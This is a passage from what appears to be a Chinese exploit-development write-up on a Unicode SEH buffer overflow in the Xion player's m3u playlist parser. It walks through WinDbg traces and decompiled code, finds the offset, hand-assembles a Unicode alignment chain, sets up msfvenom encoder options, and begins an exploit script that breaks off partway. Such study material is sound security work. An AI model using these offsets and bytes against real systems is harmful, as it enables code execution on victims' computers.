<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\x8b\x00 mov eax, [eax]
\x50 push eax
\x5c pop esp
\x58 pop eax
</code></pre></div></div>
<h1>0x02 漏洞实例</h1>
<h2>漏洞原理</h2>
<p>老套路,5000字节的pattern生成carsh.m3u,windbg attach上软件后打开该playlist,即可捕获到将栈空间打满的异常:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(7b0.110): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000031 ebx=04f81614 ecx=0506eed0 edx=00130000 esi=04f815f8 edi=0012f240
eip=03cbc2a6 esp=0012e7f4 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
*** WARNING: Unable to verify checksum for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll -
DefaultPlaylist!XionPluginCreate+0x18776:
03cbc2a6 668902 mov word ptr [edx],ax ds:0023:00130000=6341
0:000> !exchain
0012f254: 00690041
Invalid exception stack at 00380069
0:000> db 0012f254
0012f254 69 00 38 00 41 00 69 00-39 00 41 00 6a 00 30 00 i.8.A.i.9.A.j.0.
0012f264 41 00 6a 00 31 00 41 00-6a 00 32 00 41 00 6a 00 A.j.1.A.j.2.A.j.
0012f274 33 00 41 00 6a 00 34 00-41 00 6a 00 35 00 41 00 3.A.j.4.A.j.5.A.
0012f284 6a 00 36 00 41 00 6a 00-37 00 41 00 6a 00 38 00 j.6.A.j.7.A.j.8.
0012f294 41 00 6a 00 39 00 41 00-6b 00 30 00 41 00 6b 00 A.j.9.A.k.0.A.k.
0012f2a4 31 00 41 00 6b 00 32 00-41 00 6b 00 33 00 41 00 1.A.k.2.A.k.3.A.
0012f2b4 6b 00 34 00 41 00 6b 00-35 00 41 00 6b 00 36 00 k.4.A.k.5.A.k.6.
0012f2c4 41 00 6b 00 37 00 41 00-6b 00 38 00 41 00 6b 00 A.k.7.A.k.8.A.k.
</code></pre></div></div>
<p>因此定位漏洞点在DefaultPlaylist.dll中,该dll经过了upx加壳,脱壳后定位漏洞点为,向栈上地址循环拷贝宽字节的文件内容导致越界写,对应汇编代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:1001C29C
.text:1001C29C loc_1001C29C: ; CODE XREF: sub_1001C140+157↑j
.text:1001C29C lea edx, [esp+0A6Ch+var_228]
.text:1001C2A3
.text:1001C2A3 loc_1001C2A3: ; CODE XREF: sub_1001C140+172↓j
.text:1001C2A3 movzx eax, word ptr [ecx]
.text:1001C2A6 mov [edx], ax ; bof
.text:1001C2A9 add ecx, 2
.text:1001C2AC add edx, 2
.text:1001C2AF test ax, ax
.text:1001C2B2 jnz short loc_1001C2A3
</code></pre></div></div>
<p>反汇编代码可以看得更清楚,原始的宽字节字符串指针保存在类的成员数据中,循环赋值造成溢出:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">sub_1001C140</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// ......</span>
<span class="kt">wchar_t</span> <span class="n">v15</span><span class="p">;</span> <span class="c1">// [esp+844h] [ebp-228h]</span>
<span class="kt">int</span> <span class="n">v16</span><span class="p">;</span> <span class="c1">// [esp+A68h] [ebp-4h]</span>
<span class="c1">// ......</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">v2</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v3</span> <span class="o">=</span> <span class="n">a1</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o"><</span> <span class="mi">8u</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">v15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x208u</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="p">)</span>
<span class="n">v4</span> <span class="o">=</span> <span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
<span class="k">else</span>
<span class="n">v4</span> <span class="o">=</span> <span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="p">)</span><span class="n">a1</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="n">v5</span> <span class="o">=</span> <span class="o">&</span><span class="n">v15</span><span class="p">;</span>
<span class="k">do</span>
<span class="p">{</span>
<span class="n">v6</span> <span class="o">=</span> <span class="o">*</span><span class="n">v4</span><span class="p">;</span>
<span class="o">*</span><span class="n">v5</span> <span class="o">=</span> <span class="o">*</span><span class="n">v4</span><span class="p">;</span>
<span class="o">++</span><span class="n">v4</span><span class="p">;</span>
<span class="o">++</span><span class="n">v5</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">v6</span> <span class="p">);</span>
<span class="n">sub_10019BC0</span><span class="p">(</span><span class="o">&</span><span class="n">v15</span><span class="p">);</span>
<span class="n">sub_100199D0</span><span class="p">(</span><span class="o">&</span><span class="n">v15</span><span class="p">);</span>
<span class="n">sub_100029E0</span><span class="p">(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">7</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">,</span> <span class="o">&</span><span class="n">v15</span><span class="p">,</span> <span class="n">wcslen</span><span class="p">(</span><span class="o">&</span><span class="n">v15</span><span class="p">));</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>在循环前下断点,或者根据pattern可以算得偏移为265,还是和文件路径相关的:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Breakpoint 0 hit
eax=00000000 ebx=04f31614 ecx=0507a868 edx=00000000 esi=04f315f8 edi=0012f240
eip=04c6c29c esp=0012e7f4 ebp=0012f260 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
DefaultPlaylist!XionPluginCreate+0x1876c:
04c6c29c 8d942444080000 lea edx,[esp+844h]
0:000> db ecx
0507a868 5a 00 3a 00 5c 00 37 00-5c 00 41 00 61 00 30 00 Z.:.\.7.\.A.a.0.
0507a878 41 00 61 00 31 00 41 00-61 00 32 00 41 00 61 00 A.a.1.A.a.2.A.a.
0507a888 33 00 41 00 61 00 34 00-41 00 61 00 35 00 41 00 3.A.a.4.A.a.5.A.
0507a898 61 00 36 00 41 00 61 00-37 00 41 00 61 00 38 00 a.6.A.a.7.A.a.8.
0507a8a8 41 00 61 00 39 00 41 00-62 00 30 00 41 00 62 00 A.a.9.A.b.0.A.b.
0507a8b8 31 00 41 00 62 00 32 00-41 00 62 00 33 00 41 00 1.A.b.2.A.b.3.A.
0507a8c8 62 00 34 00 41 00 62 00-35 00 41 00 62 00 36 00 b.4.A.b.5.A.b.6.
0507a8d8 41 00 62 00 37 00 41 00-62 00 38 00 41 00 62 00 A.b.7.A.b.8.A.b.
0:000> p
eax=00000000 ebx=04f31614 ecx=0507a868 edx=0012f038 esi=04f315f8 edi=0012f240
eip=04c6c2a3 esp=0012e7f4 ebp=0012f260 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
DefaultPlaylist!XionPluginCreate+0x18773:
04c6c2a3 0fb701 movzx eax,word ptr [ecx] ds:0023:0507a868=005a
0:000> !exchain
0012f254: DefaultPlaylist!XionPluginCreate+6d3db (04cc0f0b)
0012f3d0: DefaultPlaylist!XionPluginCreate+6d4f1 (04cc1021)
0012fabc: DefaultPlaylist!XionPluginCreate+6d16c (04cc0c9c)
0012fb5c: DefaultPlaylist!XionPluginCreate+6de18 (04cc1948)
0012fbb0: DefaultPlaylist!XionPluginCreate+6c638 (04cc0168)
0012fc74: USER32!_except_handler4+0 (77d7629b)
CRT scope 0, func: USER32!UserCallDlgProcCheckWow+154 (77d45bec)
0012fd7c: USER32!_except_handler4+0 (77d7629b)
CRT scope 0, func: USER32!UserCallWinProcCheckWow+150 (77d4a435)
0012fddc: USER32!_except_handler4+0 (77d7629b)
CRT scope 0, filter: USER32!DispatchMessageWorker+146 (77d4b405)
func: USER32!DispatchMessageWorker+159 (77d4b418)
0012ff78: *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\r2 Studios\Xion\Xion.exe
Xion+78ea0 (00478ea0)
0012ffc4: ntdll!_except_handler4+0 (77ede0ed)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+2e (77f37eeb)
func: ntdll!__RtlUserThreadStart+63 (77f38260)
Invalid exception stack at ffffffff
0:000> ? 0012f254-0012f038
Evaluate expression: 540 = 0000021c
</code></pre></div></div>
<p>因为有个对原文件内容转换宽字节的过程,所以直接可以对<code class="language-plaintext highlighter-rouge">kernel32!MultiByteToWideChar</code>下断点,推测一下软件的处理逻辑:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> g
*** WARNING: Unable to verify checksum for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll -
0012caf4 04c1798d 00000003 00000000 05073f58
0012cb04 ffffffff
eax=00000000 ebx=05073f58 ecx=0dce730c edx=05073f59 esi=0012cb10 edi=00001389
eip=77e34538 esp=0012caf4 ebp=0012f234 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
kernel32!MultiByteToWideChar:
77e34538 ff258c1dde77 jmp dword ptr [kernel32!_imp__MultiByteToWideChar (77de1d8c)] ds:0023:77de1d8c={KERNELBASE!MultiByteToWideChar (0dce80b0)}
0:000> dd esp L5
0012caf4 04c1798d 00000003 00000000 05073f58
0012cb04 ffffffff
0:000> db 05073f58
05073f58 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
05073f68 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
05073f78 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
05073f88 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
05073f98 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
05073fa8 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
05073fb8 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
05073fc8 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
0:000> kv
ChildEBP RetAddr Args to Child
0012f234 04c17c39 0012f324 0012f35c a3a5d327 kernel32!MultiByteToWideChar
WARNING: Stack unwind information not available. Following frames may be wrong.
00000000 00000000 00000000 00000000 00000000 DefaultPlaylist!XionPluginCreate+0x34109
0:000> lm DefaultPlaylist
Couldn't resolve error at 'ultPlaylist'
0:000> lm m DefaultPlaylist
start end module name
04be0000 04c82000 DefaultPlaylist C (export symbols) C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll
</code></pre></div></div>
<p>定位调用者的函数为<code class="language-plaintext highlighter-rouge">sub_10037930</code>,观察到使用的Code page为CP_THREAD_ACP,存储字符串的空间为堆上根据长度动态分配:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">_DWORD</span> <span class="o">*</span><span class="kr">__cdecl</span> <span class="nf">sub_10037930</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="n">_DWORD</span> <span class="o">*</span><span class="n">a2</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">const</span> <span class="n">CHAR</span> <span class="o">*</span><span class="n">v2</span><span class="p">;</span> <span class="c1">// ebx</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">v3</span><span class="p">;</span> <span class="c1">// edx</span>
<span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// edi</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">v5</span><span class="p">;</span> <span class="c1">// esp</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// eax</span>
<span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// [esp+0h] [ebp-10h]</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">24</span><span class="p">)</span> <span class="o"><</span> <span class="mh">0x10u</span> <span class="p">)</span>
<span class="n">v2</span> <span class="o">=</span> <span class="p">(</span><span class="k">const</span> <span class="n">CHAR</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
<span class="k">else</span>
<span class="n">v2</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="k">const</span> <span class="n">CHAR</span> <span class="o">**</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v4</span> <span class="o">=</span> <span class="n">lstrlenA</span><span class="p">(</span><span class="n">v2</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="o"><=</span> <span class="mh">0x3FFFFFFF</span> <span class="o">&&</span> <span class="p">(</span><span class="n">v5</span> <span class="o">=</span> <span class="n">alloca</span><span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">v4</span><span class="p">),</span> <span class="o">&</span><span class="n">v8</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">LOWORD</span><span class="p">(</span><span class="n">v8</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">v6</span> <span class="o">=</span> <span class="n">MultiByteToWideChar</span><span class="p">(</span><span class="mi">3u</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">v2</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="n">LPWSTR</span><span class="p">)</span><span class="o">&</span><span class="n">v8</span><span class="p">,</span> <span class="n">v4</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">?</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="o">&</span><span class="n">v8</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="n">v6</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">v3</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">v6</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="n">v3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">sub_100029E0</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">v3</span><span class="p">,</span> <span class="n">v3</span><span class="p">,</span> <span class="n">wcslen</span><span class="p">((</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kr">__int16</span> <span class="o">*</span><span class="p">)</span><span class="n">v3</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>
<p>老套路跟踪返回地址可以知道函数的调用流程为:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># 4 sub_1001D350
# 3 sub_1001C670
# 2 sub_10037BE0
# 1 sub_10037930
# 0 MultiByteToWideChar
</code></pre></div></div>
<p>函数<code class="language-plaintext highlighter-rouge">sub_1001D350</code>的反汇编代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="kr">__cdecl</span> <span class="nf">sub_1001D350</span><span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="n">lpFileName</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">wchar_t</span> <span class="o">*</span><span class="n">v2</span><span class="p">;</span> <span class="c1">// eax</span>
<span class="k">const</span> <span class="n">WCHAR</span> <span class="o">*</span><span class="n">v3</span><span class="p">;</span> <span class="c1">// esi</span>
<span class="n">v2</span> <span class="o">=</span> <span class="n">wcsrchr</span><span class="p">(</span><span class="n">lpFileName</span><span class="p">,</span> <span class="sc">'.'</span><span class="p">);</span>
<span class="n">v3</span> <span class="o">=</span> <span class="n">v2</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">StrStrIW</span><span class="p">(</span><span class="n">v2</span><span class="p">,</span> <span class="s">L"m3u"</span><span class="p">)</span> <span class="o">||</span> <span class="n">StrStrIW</span><span class="p">(</span><span class="n">v3</span><span class="p">,</span> <span class="s">L"m3u8"</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">sub_1001C670</span><span class="p">(</span><span class="n">lpFileName</span><span class="p">,</span> <span class="n">a2</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">StrStrIW</span><span class="p">(</span><span class="n">v3</span><span class="p">,</span> <span class="s">L"pls"</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">sub_1001B450</span><span class="p">(</span><span class="n">lpFileName</span><span class="p">,</span> <span class="n">a2</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">StrStrIW</span><span class="p">(</span><span class="n">v3</span><span class="p">,</span> <span class="s">L"wpl"</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">sub_1001CF10</span><span class="p">(</span><span class="n">lpFileName</span><span class="p">,</span> <span class="n">a2</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>判断playlist为m3u文件后,调用函数<code class="language-plaintext highlighter-rouge">sub_1001C670</code>处理,其中调用了构造函数<code class="language-plaintext highlighter-rouge">sub_1001C570</code>读取了文件的内容,在函数<code class="language-plaintext highlighter-rouge">sub_10037BE0</code>中将字符串转换为宽字节,最后在函数<code class="language-plaintext highlighter-rouge">sub_10037930</code>中触发了漏洞。</p>
<h2>利用方法一:考虑绕过GS覆盖返回地址</h2>
<p>在漏洞函数的首尾都有关于<code class="language-plaintext highlighter-rouge">___security_cookie</code>的验证操作,在IDA的数据段中只有两处的交叉引用,以为该GS是静态的可以绕过,但在代码段的交叉引用有456处,而且和esp异或后的结果很大概率上也不是Unicode兼容的,两次启动软件调试验证如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:022> g
Breakpoint 0 hit
eax=0012f3d0 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc15a esp=0012e804 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862a:
03afc15a a1547db603 mov eax,dword ptr [DefaultPlaylist!XionPluginCreate+0x84224 (03b67d54)] ds:0023:03b67d54=81ee5c55
0:000> p
eax=81ee5c55 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc15f esp=0012e804 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862f:
03afc15f 33c4 xor eax,esp
0:000> p
eax=81fcb451 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc161 esp=0012e804 ebp=0012f260 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
DefaultPlaylist!XionPluginCreate+0x18631:
03afc161 898424480a0000 mov dword ptr [esp+0A48h],eax ss:0023:0012f24c=00000007
0:000> p
eax=81fcb451 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc168 esp=0012e804 ebp=0012f260 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
DefaultPlaylist!XionPluginCreate+0x18638:
03afc168 53 push ebx
0:026> g
Breakpoint 0 hit
eax=0012f3d0 ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c15a esp=0012e804 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862a:
03c8c15a a1547dcf03 mov eax,dword ptr [DefaultPlaylist!XionPluginCreate+0x84224 (03cf7d54)] ds:0023:03cf7d54=e7da7898
0:000> p
eax=e7da7898 ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c15f esp=0012e804 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862f:
03c8c15f 33c4 xor eax,esp
0:000> p
eax=e7c8909c ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c161 esp=0012e804 ebp=0012f260 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286
DefaultPlaylist!XionPluginCreate+0x18631:
03c8c161 898424480a0000 mov dword ptr [esp+0A48h],eax ss:0023:0012f24c=00000007
0:000> p
eax=e7c8909c ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c168 esp=0012e804 ebp=0012f260 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286
DefaultPlaylist!XionPluginCreate+0x18638:
03c8c168 53 push ebx
</code></pre></div></div>
<h2>利用方法二:覆盖SEH跳转至Unicode shellcode</h2>
<p>和原文中的利用方法一样,利用SEH劫持eip,然后将eax赋值为ebp+0x100,最后跳转至eax执行shellcode。调试查看偏移的过程如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450015 esp=0012e298 ebp=0012e2b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Xion+0x50015:
00450015 5b pop ebx
0:000> p
eax=00000000 ebx=77f071b9 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450016 esp=0012e29c ebp=0012e2b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Xion+0x50016:
00450016 5d pop ebp
0:000> p
eax=00000000 ebx=77f071b9 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450017 esp=0012e2a0 ebp=0012e380 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Xion+0x50017:
00450017 c3 ret
0:000> p
eax=00000000 ebx=77f071b9 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=0012f254 esp=0012e2a4 ebp=0012e380 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0012f254 61 popad
0:000> p
eax=0012e380 ebx=0012f254 ecx=77f0718b edx=0012e368 esi=0012e354 edi=0012e39c
eip=0012f255 esp=0012e2c4 ebp=0012f254 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0012f255 006e00 add byte ptr [esi],ch ds:0023:0012e354=a2
0:000> p
eax=0012e380 ebx=0012f254 ecx=77f0718b edx=0012e368 esi=0012e354 edi=0012e39c
eip=0012f258 esp=0012e2c4 ebp=0012f254 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203
0012f258 1500450044 adc eax,44004500h
0:000> p
eax=44132881 ebx=0012f254 ecx=77f0718b edx=0012e368 esi=0012e354 edi=0012e39c
eip=0012f25d esp=0012e2c4 ebp=0012f254 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
0012f25d 004200 add byte ptr [edx],al ds:0023:0012e368=60
0:000> db eip
0012f25d 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f26d 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f27d 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f28d 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f29d 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f2ad 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f2bd 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f2cd 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0:000> db eip-0n539-10
0012f032 08 05 00 00 00 00 5a 00-3a 00 5c 00 37 00 5c 00 ......Z.:.\.7.\.
0012f042 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f052 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f062 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f072 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f082 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f092 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f0a2 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:000> ? 0012f254+100-0012f042
Evaluate expression: 786 = 00000312
</code></pre></div></div>
<p>将eax赋值过程的汇编代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># SEH overflow
\x61 popad
\x00\x6E\x00 add byte ptr [esi],ch
\x15\x00\x45\x00\x44 adc eax, 0x44004500
\x00\x6E\x00 add byte ptr [esi],ch
# mov eax, ebp
\x55 push ebp
\x00\x6E\x00 add byte ptr [esi],ch
\x58 pop eax
\x00\x6E\x00 add byte ptr [esi],ch
# add eax, 0x100
\x05\x00\x02\x00\x11 add eax, 0x11000200
\x00\x6E\x00 add byte ptr [esi],ch
\x2d\x00\x01\x00\x11 sub eax, 0x11000100
\x00\x6E\x00 add byte ptr [esi],ch
# jmp eax
\x50 push eax
\x00\x6E\x00 add byte ptr [esi],ch
\xc3 ret
</code></pre></div></div>
<p>最后在shellcode部分,可以使用msfvenom生成x86/unicode_upper编码的shellcode,查看options以为不用指定相关的寄存器或偏移就可以:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf encoder(x86/unicode_upper) > show options
Module options (encoder/x86/unicode_upper):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowWin32SEH false yes Use SEH to determine the address of the stub (Windows only)
BufferOffset 0 no The offset to the buffer from the start of the register
BufferRegister no The register that pointers to the encoded payload
</code></pre></div></div>
<p>但实际上不指定的话是无法生成相关shellcode的,指定BufferRegister为eax后,去掉我们常规喜欢在shellcode头部加的nop指令后(Unicode不兼容),最终的利用效果就和原文中一样完美了:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">265</span>
<span class="n">next_seh</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x61\x6e</span><span class="s">"</span>
<span class="n">handler</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x15\x45</span><span class="s">"</span>
<span class="n">D</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x44</span><span class="s">"</span>
